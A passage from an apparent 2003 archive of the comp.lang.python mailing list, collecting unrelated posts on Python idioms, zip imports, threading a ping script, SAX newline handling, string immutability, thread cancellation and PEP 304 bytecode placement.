reader has to visually verify that the target variables are all the same.  In 
my experience, one thing that best serves maintainability is to factor out 
common code wherever possible.  That way you avoid in advance the error prone 
process of having to make identical changes to parallel sections of code. 
Because there's a material savings even at the single statement level was one 
reason for adopting augmented assignment.  But the if/else form forces you to 
break this rule.

More importantly, by factoring out the redundant references to the target 
variable the inline form prevents a class of common errors.  E.g., if you 
look closely you'll find a subtle bug in the above if/else example.  This 
typo would be IMPOSSIBLE to make with inline choice.  Thus the supposedly 
"more readable" form tempts you to make these kinds of mistakes.  And this is 
a class of errors that easily go undetected in a declaration free language 
like Python.

So to flatly claim that the if/else form is superior to inline choice is 
simply untrue.  From the big picture standpoint, inline choice is equally 
useful and understandable.  Programmers can be trained to use and recognize 
both forms as easily as just the one.  Now, it's valid to say you prefer 
if/else as a matter of personal taste.  No accounting for taste.  As a 
manager, you can even enforce whatever standard you want in your coding 
style.  But even then, I think this view more often than anything else simply 
is a reflection of prejudice against the C/C++ family of languages.

Finally, I acknowledge that within the context of Python (which lacks such a 
construct) and within the context of the Python community (who, for whatever 
reasons, have decided to eschew the idiom) the earlier, milder words of 
discouragement on this thread may be appropriate.  And for the record, I am 
not (in this note) advocating any change to Python.

But Jeeze Louise -- FIRING people for employing a 1 line idiom, one that is 
asked for on this list about once every 2 weeks?  It must be awfully easy to 
recruit and retain good programmers where you live.

Regards

--jb

-- 
James J. Besemer		503-280-0838 voice
2727 NE Skidmore St.		503-280-0375 fax
Portland, Oregon 97211-6557	mailto:jb at cascade-sys.com
				http://cascade-sys.com	






From peter at engcorp.com  Thu Jan 16 09:11:06 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 09:11:06 -0500
Subject: reading from a zipped file
References: <v2df0nqomimr47@corp.supernews.com>
Message-ID: <3E26BD7A.7B907121@engcorp.com>

Lance wrote:
> 
> I have a zip file containing maybe 800 html files. I want to open a single
> file using the webbrowser.open procedure. Is there a Python module that will
> help?

Use the standard zipfile module?  You would probably have to extract the
file, then write it to a temporary file, then pass the name to webbrowser.open.

-Peter



From tim.golden at viacom-outdoor.co.uk  Fri Jan  3 03:55:19 2003
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: 3 Jan 2003 00:55:19 -0800
Subject: Win32 Drive List Redux
References: <ert1va.ruj2.ln@boundary.tundraware.com> <eop2va.igo2.ln@boundary.tundraware.com>
Message-ID: <8360efcd.0301030055.27370a57@posting.google.com>

Tim Daneliuk <tundra at tundraware.com> wrote in message news:<eop2va.igo2.ln at boundary.tundraware.com>...
> Tim Daneliuk wrote:
> > Some time ago, there was a brief thread on how to get a list of
> > available drives on Win32.  Peter Hansen suggested the use of:
> <SNIP>
> 
> Well, here is a "Sort-Of" solution. It suffers from the fact that it is
> not in sync with reality of the machine - it reports B: on my system
> (which has none) and incorrectly shows a network drive that has been
> detatched.  

<... snip solution using _winreg ...>

I was going to post and point out that DOS has long recognised B: as
an alternative "mount point" (for want of a better expression) for A:
when copying disk to disk. ie you could do "diskcopy a: b:" even if
your system only had one drive, and you would be prompted to swap
disks. Maybe that's why it offers B: as a mount point.

Having said that, I ran the script on my (Python 2.1.3 on Win2000 SP2)
setup, and it gave me a 1: drive (that's the digit one!), A:, *no* B:
drive, then C: and a clutter of other drives which have at some point
been mounted across the network. Interesting!

I freely admit I haven't tried browsing MSDN to find out what this
particular reg key is supposed to give you.

TJG



From mcfletch at rogers.com  Mon Jan 20 23:10:03 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 20 Jan 2003 23:10:03 -0500
Subject: 3D and floating point optimization
In-Reply-To: <10F0E58C0018054484E329DC494C4D7F01ADE2@mexper1>
References: <10F0E58C0018054484E329DC494C4D7F01ADE2@mexper1>
Message-ID: <3E2CC81B.8020405@rogers.com>

Using fixed-point to represent floating point wouldn't be the first 
place I'd look for optimisation.  Extensive use of Numeric Python 
whereever possible, binding core-code with psyco, liberal use of 
display-lists (preferably with a dynamically updated compilation) and/or 
array-based geometry, and traditional Opengl optimisation strategies 
(aggressive scene culling, state-change minimisation) will probably get 
you farther faster.

AFAIK, Numeric Python doesn't do any parallelisation tricks for e.g. 
3DNow or SSE, so adding extension support for using those for 
array-proccessing (normal calculation or the like) would probably give a 
significant speedup for some applications (though at least in my apps, I 
only do those tasks during startup).  

Re-coding a few core loops in C or PyRex would also likely be a decent 
optimisation approach.  After you've tried that, and found the code 
still too slow, I'd maybe consider fixed-point optimisations (well, 
okay, no _I_ wouldn't ;) ). Giving some idea of your application type 
(visualisation, VR, gaming), your general approach, your 
scale-of-operation, and the profiling results for your apps might yield 
more directed suggestions.

Good luck,
Mike

Simon Wittber (Maptek) wrote:

>Many years ago, using fixed point numbers to speed up calculations (esp.
>in the demo-scene) was a standard optimization, which would speed up
>code by orders of magnitude.
>
>I have been experimenting with Python+OpenGL and have run into a few
>speed bumps. 
>
>My question is, considering the speed of today's FPUs, is using fixed
>point math still a valid optimization, in Python?
>
>simon.
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From max at alcyone.com  Mon Jan 27 18:41:28 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 27 Jan 2003 15:41:28 -0800
Subject: String Methods Don't Change ID?
References: <889cbba0.0301271313.7da84213@posting.google.com>
Message-ID: <3E35C3A8.BAC2088C@alcyone.com>

Kamilche wrote:

> But now, I'm looking the following example, which modifies a string,
> but the ID doesn't change. Can anyone explain why the built-in string
> methods don't modify the ID?
> 
> >>> quest = 'what is your favorite color?'
> >>> id(quest)
> 10988760
> >>> quest.capitalize()
> 'What is your favorite color?'
> >>> id(quest)
> 10988760
> >>> quest.center(40)
> '      what is your favorite color?      '

This should have been the tip-off as to what was going on.  If the
capitalize method really were changing the original object, then this
centered version should have been capitalized.  It isn't, so the
capitalize "change" didn't take, so therefore what you thought was going
on wasn't.

Not only do capitalize and center not modify their original object, but
_no_ string method (or any other operation for that matter) can; strings
are immutable in Python.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ That it will never come again is what makes life so sweet.
\__/ Emily Dickinson
    Alcyone Systems / http://www.alcyone.com/
 Alcyone Systems, San Jose, California.



From Oschler at earthlink.net  Thu Jan 23 01:51:21 2003
From: Oschler at earthlink.net (Robert Oschler)
Date: Thu, 23 Jan 2003 06:51:21 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net>        <mailman.1043252741.1779.python-list@python.org>        <LtEX9.134$0L3.63489@news2.news.adelphia.net> <mailman.1043290900.16874.python-list@python.org>
Message-ID: <JhMX9.441$0L3.173271@news2.news.adelphia.net>

"Skip Montanaro" <skip at pobox.com> wrote in message
news:mailman.1043290900.16874.python-list at python.org...
>     >> http://spambayes.sf.net/
>
>
> Yes, a release is in the works and should be appearing soon.  Keep an eye
on
> the website.
>
> (Is there a reason you have an email address which looks like it ought to
> work, but never does?)
>
> Skip
>
>

Thanks.  Regarding my email address, yes, it's anti-spam.  If found that
even with 'munged' addresses (remove obvious garbage and it becomes a real
address), I got spam.  Now I get none.

thx






From tom.vanlaerhoven### at luc.ac.be  Fri Jan 17 04:43:45 2003
From: tom.vanlaerhoven### at luc.ac.be (Pakewak)
Date: Fri, 17 Jan 2003 10:43:45 +0100
Subject: SIP Python bindings generator - nested templates
References: <b071bo$msc$1@naxos.belnet.be> <3E271AB1.7030005@SPAMnwinternet.com>
Message-ID: <b08j94$if6$1@naxos.belnet.be>

Jim wrote:
 
> // in your sip files, you can either assign
> // a new name to the template type, or just
> // use it as the identifier - sip will accept
> // the <'s and >'s as part of the identifier
> %MappedType plSMat<plSquareMatrix<double>, 3>

The line above causes a parse error. When I remove the second template 
parameter it works:

%MappedType plSMat<plSquareMatrix<double>>

I'll stick to my manual hack until the next SIP release.

Thanks!
Tom.



From andrew at indranet.co.nz  Mon Jan  6 19:45:42 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Tue, 07 Jan 2003 13:45:42 +1300
Subject: ping multiple Ips with python
In-Reply-To: <8db020b9.0301061545.48785623@posting.google.com>
References: <8db020b9.0301031420.25e56f3b@posting.google.com>
 <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>
 <TTKR9.79409$eq2.18907230@twister.nyroc.rr.com>
 <mailman.1041767229.6505.python-list@python.org>
 <8db020b9.0301061545.48785623@posting.google.com>
Message-ID: <20440000.1041900342@localhost.localdomain>

Well, there's nothing in there to cause it to exit.  Two ways to fix it:

1) Make all the pingers daemon threads, then have the main thread exit when 
you're done.

2) Like you said, have each one exit when it's done.

You should maybe try 5 or so times before declaring a host down, many hosts 
rate limit ICMP responses globally, so if they're heavily loaded they won't 
answer pings reliably.

Andrew

--On Monday, January 06, 2003 15:45:07 -0800 ".d.hos" 
<dhostetler at sopris.net> wrote:

> Andrew McGregor <andrew at indranet.co.nz> wrote in message
> news:<mailman.1041767229.6505.python-list at python.org>...
>> I wasn't sure at a first glance if it did work.  Now I go back and look,
>> I'm sure it does.
>>
>> Andrew
>>
>> --On Sunday, January 05, 2003 00:21:07 +0000 darrell
>> <dgallion1 at yahoo.com>  wrote:
>>
>> > Didn't mess with the checksum since it works and it's fast enough.
>> > The pyrex code was cool to look at.
>>
>> Thanks.  I was just trying to learn pyrex, but since it's also around
>> 30x  faster, I'm going to keep it :-)
>>
>> Andrew
>
>
> Andrew,
> Thanks for your response and suggestions - although i'm still having
> issues with the code.
>
> *although "p" vs. "P" did get rid of the intital error.
>
> I looked into other multithreaded examples on the web and came up with
> the following:
>
> =============================
> import threading, os
>
> def log(s):
>     print s
>
> class Pinger(threading.Thread):
>     def __init__(self, address, *args, **kwargs):
>         self.address = address
>         threading.Thread.__init__(self, *args, **kwargs)
>
>     def run(self):
>         pingCard = "ping -n 10 " + self.address
>         child = os.popen(pingCard).readlines()
>         log(child)
>
>
> if __name__ == '__main__':
>
>     PingList = ["127.0.0.1", "66.218.71.83", "64.66.148.171"]
>     threadList = []
>
>     # Create threads
>     for i in PingList :
>         threadList.append(Pinger(i))
>
>     # Start all threads
>     for thread in threadList:
>         thread.start()
> ============================================
>
> when run through idle, the python shell hangs after all the ips
> respond. Do I have to stop each thread individually after it executes
> the ping command? other than that it seems to work....
>
> thanks again
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From kalafutj1 at yahoo.com  Fri Jan 10 22:59:50 2003
From: kalafutj1 at yahoo.com (Jim Kalafut)
Date: Sat, 11 Jan 2003 03:59:50 GMT
Subject: SAX parsing error related to newlines
Message-ID: <WEMT9.3668$No.600@sccrnsc04>

I'm working on a cross-platorm application that relies on a shared XML file
exchanged via FTP.  I'm using the xml.sax modules to parse the file.  I've
noticed that each platform (linux, windows) likes to see the file with that
platform's preferred newline convention.  For example, if the xml file was
last created in linux, the newlines will only have a linefeed character.  If
I try to parse that in windows I invariably get a "junk after document
element" error from SAX.  If, however, I first convert the file's LF to
CR-LF, then it parses just fine.  How do I setup SAX, or the input object,
to disregard the subtle newline differences that exist between tags?

Regards,
Jim






From martin at v.loewis.de  Mon Jan 20 16:23:03 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 20 Jan 2003 22:23:03 +0100
Subject: Import from zip file?
References: <19804fd8.0301200235.7febb837@posting.google.com> <m3r8b73kby.fsf@mira.informatik.hu-berlin.de> <b0hcu6$a8a$0@216.39.172.122>
Message-ID: <m3bs2b1poo.fsf@mira.informatik.hu-berlin.de>

bokr at oz.net (Bengt Richter) writes:

> >> What is the easyiest way to import modules/module-trees from zip
> >> files (Python 2.2)?
> >
> >Unpack the zip file, then add the directory to sys.path.
> >
> How deep is the dependence of import on the file system?

Unless you redefine __import__, modules *are* files in Python 2.2.

> I.e., what is the role of the file name ('.' name)* after the file data
> has been found and loaded? 

The file name is actually ('/' name)* '.py'; ('.' name)* is the module
name.

> It seems like it's mainly to be recorded
> in sys.modules to prevent re-loading, so that sharing results.

Correct. However, more things rely on __path__ of a package being a
list of directories, e.g. the submodule importing.

> Is there a reason you couldn't have import recognize a zip or tgz file
> as a virtual file directory tree to search and import from there,
> given a little hint via alternate syntax, e.g.,

There is no reason you couldn't do such a thing, and it is actually
possible to do so. However, the OP was asking for the easiest way, and
about Python 2.2. In Python 2.2, it is more difficult to implement
__import__ than to unpack the zip file. In Python 2.3, the easiest way
is to add the zipfile to sys.path.

Regards,
Martin



From boethius at techie.com  Fri Jan 17 08:04:31 2003
From: boethius at techie.com (Boethius)
Date: 17 Jan 2003 05:04:31 -0800
Subject: Trouble with inheritance and self
Message-ID: <67446a0a.0301170504.7e897e38@posting.google.com>

I have 2 classes (A and B). Both have a render method that returns a
string.
The only difference between A and B's render is the first part of the
string (header).

B inherits from A and uses A's render with its own header (see code
below).  However, I get a weird error:

Traceback (most recent call last):
  File "<pyshell#23>", line 1, in ?
    b.render()
  File "<pyshell#19>", line 7, in render
    return A.render(self, header=self._header)
  File "<pyshell#17>", line 7, in render
    return header(self) + 'Foo Bar Baz'
TypeError: _header() takes exactly 1 argument (2 given)

What am I doing wrong? O:-)
TIA

---------code-------------------------------------------------------
class A(object):

    def _header(self):
        return "A's header"

    def render(self, header = _header):
        return header(self) + 'Foo Bar Baz'

class B(A):

    def _header(self):
        return "B's header"

    def render(self):
        return A.render(self, header=self._header)

b = B()
b.render()

Traceback (most recent call last):
  File "<pyshell#23>", line 1, in ?
    b.render()
  File "<pyshell#19>", line 7, in render
    return A.render(self, header=self._header)
  File "<pyshell#17>", line 7, in render
    return header(self) + 'Foo Bar Baz'
TypeError: _header() takes exactly 1 argument (2 given)



From bokr at oz.net  Thu Jan 16 23:33:35 2003
From: bokr at oz.net (Bengt Richter)
Date: 17 Jan 2003 04:33:35 GMT
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be> <b03sui$shn$1@news.netpower.no> <m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de> <b050t9$vtp$0@216.39.172.122> <3E260BCE.5060201@v.loewis.de> <3E2626D2.10094FC1@engcorp.com> <b06bkk$amv$0@216.39.172.122> <3E26BA12.A8E9260B@engcorp.com> <c76ff6fc.0301161248.29f51159@posting.google.com>
Message-ID: <b0812v$g68$0@216.39.172.122>

On 16 Jan 2003 12:48:21 -0800, sjmachin at lexicon.net (John Machin) wrote:
>
>In mild partial defence of Bengt, I'd just like to point out (1) the
>person you term the "OP" was in fact appending to a 2-message thread
>from 1999 [an execrable habit IMHO] with subject "binary search" (2)
>the pseudo-OP's first posting (message 3) omitted the clarifying
>reference to the Cookbook; this was added in message 4, which may not
>have been seen by others before they replied (to message 3).
>
>Hoping this hasn't been distorted in translation from my native
>Australian language,
>
I actually only posted my original comment in this thread
in mild partial defence of David Brown ;-)

Regards,
Bengt Richter



From phr-n2002b at NOSPAMnightsong.com  Wed Jan 15 05:23:30 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 15 Jan 2003 02:23:30 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com> <7xbs2jdtzm.fsf@ruckus.brouhaha.com> <cb035744.0301150028.3b584272@posting.google.com> <3E25202D.D32F5CEF@alcyone.com> <7xr8bekcfc.fsf@ruckus.brouhaha.com> <3E252A3F.EDED1438@alcyone.com>
Message-ID: <7xr8be3e59.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> > You can't count on the remote host staying the same between http hits,
> > even from the same client, because some proxy servers can switch IP
> > addresses out from under you beteen hits.  That happens with AOL
> > users, for example.
> 
> In my experience this hasn't really been a problem.  Maybe you'll have
> different experience.

Hotmail used to (and maybe still does) use IP addresses to
authenticate sessions.  Users checking mail through corporate
firewalls that switched IP addresses during sessions had trouble as a
result.



From sholden at holdenweb.com  Wed Jan 15 08:38:04 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 15 Jan 2003 13:38:04 GMT
Subject: portalocker in Win98
References: <fe35b211.0301140932.62d3d334@posting.google.com> <aydHLjAkCGJ+Ewoi@jessikat.demon.co.uk> <200301150748.18069.rjones@ekit-inc.com> <mailman.1042578749.1393.python-list@python.org>
Message-ID: <0vdV9.2732$YI5.1679@news2.central.cox.net>

"Cliff Wells" <LogiplexSoftware at earthlink.net> wrote in message
news:mailman.1042578749.1393.python-list at python.org...
> On Tue, 2003-01-14 at 12:48, Richard Jones wrote:
>
> > If anyone knows how to lock a file on win98, I'd really appreciate a
hint.
>
> Win98 only supports locking entire computers, not files <wink>
>
> Assuming 98 doesn't support locking files (which I believe to be true,
> but am willing to be corrected on), what I would probably do in this
> case is create a "lock server" using a network socket and have
> applications acquire a lock from it.  I expect you could even make the
> API mirror the portalock API (which I've never used and so can't comment
> on) and use it as a drop-in replacement.
>
> Even if 98 supported file locking, I expect this approach would be
> superior.
>

Clearly something quite advanced is required here. I spoke to the Microsoft
help desk.

After a three-hour session in which I educated them about the benefits of
Python and the features and facilities offered by the language, they came up
with the following suggestion: "Make use of the Microsoft Office locking
algorithm by creating a COM object encapsulation an instance of Word and
have it open a  document. If the document is already open then Word wil
report an error that your program can use to determine the lock is currently
set."

Brilliant: shows that all that money I spend on Microsoft support isn't
wasted. I tried it, but unfortunately the COM implementation in Word doesn't
report the error correctly. Microsoft have recorded this as a bug, and will
get back to me if ever anybody fixes it.

tongue-in-cheek-ly y'rs  - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From jacob at cd.chalmers.se  Mon Jan 27 05:23:17 2003
From: jacob at cd.chalmers.se (Jacob Hallen)
Date: 27 Jan 2003 10:23:17 GMT
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <7xisweedcd.fsf@ruckus.brouhaha.com> <3E3188BF.3C39D8CA@engcorp.com> <7xd6mme5dn.fsf@ruckus.brouhaha.com>
Message-ID: <b131al$paf$1@nyheter.chalmers.se>

In article <7xd6mme5dn.fsf at ruckus.brouhaha.com>,
Paul Rubin  <phr-n2003b at NOSPAMnightsong.com> wrote:
>Peter Hansen <peter at engcorp.com> writes:
>> It's not a question of right or wrong: Python was intended to be very
>> cross-platform, as opposed to many other languages which try to provide
>> support for every nuance of every different platform which results in a 
>> situation in which programs are absolutely *not* cross-platform because
>> even relatively simple programs, e.g. those using threads, cannot run
>> the same on more than one supported platform.
>
>Deciding whether to use features that arespecific to a particular OS
>should be the prerogative of the application designer, not the
>programming language.  The reason we have OS wars all the time and
>everyone has opinions about what OS is best, is that OS's are not all
>the same.  And if your favorite OS has some advantage over other OS's,
>but Python won't let you use your OS's advantage to make your
>application better, that kind of defeats the idea of Python as a
>platform for writing the best applications that you can.

Local optimisation without regard to global optimisation is usually
a bad idea. You argue that reaping the benefits of being able to
use OS specific features is worth the price of not being able to run
your software on other platforms.
I think you should reconsider this argument, if you have ever used a
single part of the Python library, or somebody elses Python software.
It worked on your platform _because_ the Python philosophy is to be
platform independent.

As an aside, threading is not part of the Python language. You are free
to build your own thread library that is very platform specific. However,
it will be your design decision and your package to maintain.

>
>All kinds of stuff like process control, file i/o operations, etc.
>are OS dependent and Python supports OS specific calls to deal with
>those things.  Why on earth should threads have to get a bigger dose
>of OS-independence religion than ioctl gets?  This just baffles me.

You have things backwards. Ioctl is a deplorable example of when OS
independence was too hard to achieve. If it can reasonably be redone in
an OS independent way it should. The functionality itself is way too
important to rip out.

Jacob Hall?n

-- 



From jack at performancedrivers.com  Wed Jan  8 14:05:38 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Wed, 8 Jan 2003 14:05:38 -0500
Subject: Laura's List - was Re: new years resolutions
In-Reply-To: <o4fm1v8v9ok5d3mou4j29m3o8etb7v7b2s@4ax.com>; from nomad***@***freemail.absa.co.za on Wed, Jan 08, 2003 at 08:53:24PM +0200
References: <mailman.1041872080.15063.python-list@python.org> <2259b0e2.0301070445.698adc9e@posting.google.com> <o4fm1v8v9ok5d3mou4j29m3o8etb7v7b2s@4ax.com>
Message-ID: <20030108140538.A4744@localhost.localdomain>

On Wed, Jan 08, 2003 at 08:53:24PM +0200, Nomad wrote:
> Of course, there is always:
> 
> "cleverness is when you know everything,
> 
> wisdom is when you know enough to know you don't know everything"
>

I was going to stay out of this thread, but I just can't help myself.
My personal version of the general topic:

There is a fine line between being "The Man" and being "That Guy"

-jackdied




From nhodgson at bigpond.net.au  Wed Jan  8 07:56:44 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Wed, 08 Jan 2003 12:56:44 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com> <52719db8.0301072113.3c143cfe@posting.google.com>
Message-ID: <geVS9.14961$oS1.61201@news-server.bigpond.net.au>

   The core difference between Python and JudoScript are that JudoScript
allows more Perl-like quoting and Smalltalk like blocks. The documentation
manages to obscure this greatly so I couldn't work out how to define a new
equivalent to do ... as sgml.

James Huang:

> Anyway, to answer your concerns over Jython, first of all, assume you
> accept that JudoScript is as capable as Jython to script Java. The
> following examples demonstrate some of the differences:
>
> -------------------------------------
> thread mythrd param1, param2
> {
>   println 'parameters are: ', param1, ' ', param2;
>   println 'Done.';
> }
> start thread mythrd(1, 'xyz');

   Python equivalent (although I'd normally subclass Thread instead):

def mythread(param1, param2):
   print 'parameters are: ', param1, ' ', param2
   print 'Done.'
threading.Thread(None,mythread,'',(1,'xyz')).start()

> -------------------------------------
> copy '*.java, *.jj' in '~/src/' except '*Test*, *test*'
>      recursive
>      into '~/archive/src_' @ date().fmtDate('yyyy-MM-dd') @ '.jar';

   This is a a function call with keyword arguments. 'copy' could be
implemented in Python with equivalent functionality and would be called
like:

copy(['*.java, *.jj'], in='~/src/', except=['*Test*, *test*'],
      recursive=1,
      into='~/archive/src_' + date().fmtDate('yyyy-MM-dd') + '.jar')

> -------------------------------------
> do 'http://www.yahoo.com' as sgml
> {
> <a>:   println $_.href;
> <img>: println $_.src;
> }

   In Python this is sometimes done with methods like so:

class mySGML(SGMLResponder):
    def a(self):
        print self.current.href
    def img(self):
        print self.current.src
do_sgml('http://www.yahoo.com', mySGML())

   Where the method names themselves are insufficient to handle all the
cases, doc comments are sometimes used as an extension mechanism.

   The JudoScript style can be more closely emulated in languages with
blocks like Ruby. I'm not that familiar with Ruby so there may be some
mistakes here. This could look like:

do_sgml('http://www.yahoo.com',
{
"<a>" => { println _.href },
"<img>" => { println _.src }
})

> -------------------------------------
> preparedExecuteQury qry:
>    select name, email from emp where id=?;
> with @1 = '00123';
> while qry.next() {
>   . 'Name:  ', qry.name; // '.' is synonymous to 'println'
>   . 'EMail: ', qry[2];
> }

   The SQL features seem to be just functions/methods with variable
interpolation.

> These were all in its initial release. It is the vision of these (and
> more) plus Java scripting that convinced that this language is worth
> doing.

   What *exactly* is the vision. Looks to me like the capabilities are the
same as Python/Ruby/Perl but with different syntax. Other scripting
languages than Python are closer to the styles of syntax JudoScript uses. We
Python users tend to like constrained syntax instead, including, for
example, the lack of regular expression literals or here documents.

> Python land has wheat, Java land has rice; both are rich in
> carbohydrate. In addition, Java land also grows beans. What do you
> want to ship across that bridge? If you one day decide to reside
> permanently in Java land, why don't you drive a Cadillac but instead a
> Lexus? In any case, JudoScript is a hovercraft.

   They are all programming languages. Hyperbole is less likely to win
converts than understandable documentation.

  Neil





From mwh at python.net  Tue Jan 14 09:42:59 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Jan 2003 14:42:59 GMT
Subject: date time arithmatic
References: <Xns92FA7A697169ADavePnearlydpawson@195.149.20.147>
Message-ID: <7h3znq3rduv.fsf@pc150.maths.bris.ac.uk>

Dave Pawson <dpawson at nearlynildram.co.uk> writes:

> Put simply I would like to determine the number of 
> days between now() and some date in the past.
> 
> E.g. now() - someCall(2002,9,2,0,0) = 126 days
> 
> This seems possible in 2.3 alpha, but not in 2.2 (readily).
> 
> Looking for pointers please?

You could steal the python datetime module from the Python CVS
sandbox.

Cheers,
M.

-- 
  I have gathered a posie of other men's flowers, and nothing but
  the thread that binds them is my own.                   -- Montaigne



From peter at engcorp.com  Fri Jan 24 13:41:03 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 13:41:03 -0500
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <mailman.1043424035.17589.python-list@python.org> <7xisweedcd.fsf@ruckus.brouhaha.com>
Message-ID: <3E3188BF.3C39D8CA@engcorp.com>

Paul Rubin wrote:
> 
> Skip Montanaro <skip at pobox.com> writes:
> >     >> You lose. There is no way to cancel a thread, period.
> >
> >     Paul> Is there some inherent reason for that?
> >
> > Not all threads packages on which Python runs implement the desired
> > functionality.
> 
> Well, there's all kinds of functionality that some OS's implement and
> others don't.  Python should use the functionality when it's
> available.

That's a judgment call, and one which was made differently by those
responsible for Python's design.  

It's not a question of right or wrong: Python was intended to be very
cross-platform, as opposed to many other languages which try to provide
support for every nuance of every different platform which results in a 
situation in which programs are absolutely *not* cross-platform because
even relatively simple programs, e.g. those using threads, cannot run
the same on more than one supported platform.

There are actually very few platforms in which it is possibly safely
to terminate threads from the outside, so it's no great loss to most...

-Peter



From skip at pobox.com  Wed Jan 29 14:18:51 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 13:18:51 -0600
Subject: PEP 304 - Controlling generation of bytecode files 
In-Reply-To: <200301281127.h0SBRHjL020551@ratthing-b246.strakt.com>
References: <15925.46655.439046.717944@montanaro.dyndns.org>
        <200301281127.h0SBRHjL020551@ratthing-b246.strakt.com>
Message-ID: <15928.10523.841573.180352@montanaro.dyndns.org>

    Laura> 1. I the the name PYTHONBYTECODEDIR and sys.bytecodedir (that is
    Laura>    plenty enough to type already) make more sense.

The environment variable's first incarnation had "DIR" in the name.
This can be a bit misleading though.  A couple folks on python-dev thought I
was proposing dumping all .pyc files directly into that directory.
"...BASE" sort of suggests to me that it's the head of a tree.  I shortened
the sys variable to "bytecodebase".

    Laura> 2. This Pep assumes that you want to change files globally, but
    Laura>    not on a per file basis.  What do we want to happen when 2
    Laura>    users of the same system -- a) want different dirs, b) want
    Laura>    the same dir.  In case b) can we still get collisions and a
    Laura>    corrupted file?

As I mentioned in an earlier reply, this is not intended to allow
module-by-module (or even directory-by-directory) control of .pyc file
generation.

    Laura> 3. I am unclear of the security implications of this.  Is
    Laura>    somebody out there depending on the fact that nobody can ever
    Laura>    write their own bytecode files and use them to crack the
    Laura>    system?  If so they are likely to want a way to forbid any but
    Laura>    their system secure ones.

Security is really no different than in the current system.  If you and I
can write to the same directory, then you can do something to my .pyc files
to corrupt them.  In the PEP I have these issues:

    - Security - What if root has PYTHONBYTECODEBASE set?  Yes, this can
      present a security risk, but so can many other things the root user
      does.  The root user should probably not set PYTHONBYTECODEBASE except
      during installation.  Still, perhaps this problem can be minimized.
      When running as root the interpreter should check to see if
      PYTHONBYTECODEBASE refers to a directory which is writable by anyone
      other than root.  If so, it could raise an exception or warning and
      set sys.bytecodebase to None.  Or, see the next item.

    - More security - What if PYTHONBYTECODEBASE refers to a general
      directory (say, /tmp)?  In this case, perhaps loading of a preexisting
      bytecode file should occur only if the file is owned by the current
      user or root.  (Does this matter on Windows?)

I think the second issue may address your concerns.  In any case, even if
the PEP is not accepted, the second item might be a worthwhile enhancement
to security.

    Laura> 4. One thing that I would find useful is a way to say "do not
    Laura>    make pyc's in this dir".  Then when I tar up a distribution to
    Laura>    send someplace I won't have to remember to remove them first.

I don't think that's within the scope of this PEP.  When creating a tarfile
distribution why not just give an excludes argument to (at least GNU) tar
telling it to exclude .pyc files?

Skip




From johnroth at ameritech.net  Sun Jan 26 19:41:59 2003
From: johnroth at ameritech.net (John Roth)
Date: Sun, 26 Jan 2003 19:41:59 -0500
Subject: Emacs has eaten my python tabs!!!
References: <1043563632.4966.71.camel@refugeeMedia> <15923.64232.153575.441139@montanaro.dyndns.org> <mailman.1043595527.13755.python-list@python.org> <pm7eg-im3.ln1@beastie.ix.netcom.com>
Message-ID: <v39007j7i12ud2@news.supernews.com>

"Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote in message
news:pm7eg-im3.ln1 at beastie.ix.netcom.com...
> Mongryong fed this fish to the penguins on Sunday 26 January 2003
07:37
> am:
>
> > Doesn't python rely on tabs?
> >
>         It relies on indentation, and a tab is considered 8 spaces --

This isn't exactly correct. There's an undocumented hack in the
python compiler that recognizes the Emacs tab comment, among
others, and if it finds it, sets tabs to that value. I'm not certain of
which releases this is in, but it's been commented on a time or three.

This was, I believe, an attempt at one time to "fix" the mixed
tab and space problem.

> the only
> time mixed spaces and tabs works is when a tab stop is visually 8
> spaces. If one has an editor configured with 4-space tabs and then
> mixes lines with tabs and 4-spaces, Python sees two indentation
levels:
> 4 and 8 space.
>
>         All tabs works fine regardless of editor tab stops. All spaces
works
> fine. Mixed spaces and tabs is deadly.

So is the use of tabs in certain contexts; in particular any attempt
to e-mail a python source to someone using Outlook Express. OE
has this nasty habit of ignoring leading tabs.

John Roth
>
> --
>  > ============================================================== <
